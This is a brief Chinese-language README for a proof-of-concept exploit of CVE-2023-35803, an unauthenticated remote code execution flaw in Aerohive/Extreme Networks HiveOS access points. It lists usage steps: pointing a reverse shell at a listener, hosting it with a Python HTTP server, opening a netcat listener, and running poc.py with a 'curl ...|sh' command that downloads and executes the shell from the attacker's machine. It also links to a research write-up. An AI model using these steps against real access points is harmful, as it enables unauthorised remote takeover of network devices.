CVE-2023-35803

CVE-2023-35803 - Extreme Networks/Aerohive 无线接入点中的未认证 RCE 漏洞

针对运行 HiveOS/IQ Engine <10.6r2 的 ARM 架构接入点的 PoC。

1. 编辑 revshell，使其指向你的 shell 监听端 IP/端口
2. 托管反向 shell：python3 -m http.server
3. 打开一个 shell 监听器：nc -lvnp 1337
4. 运行 POC（可能需要几分钟）：python3 poc.py <ip of ap> "curl <ip of attack box>:8000/revshell|sh"

---

分析文章见此处：https://research.aurainfosec.io/pentest/bee-yond-capacity/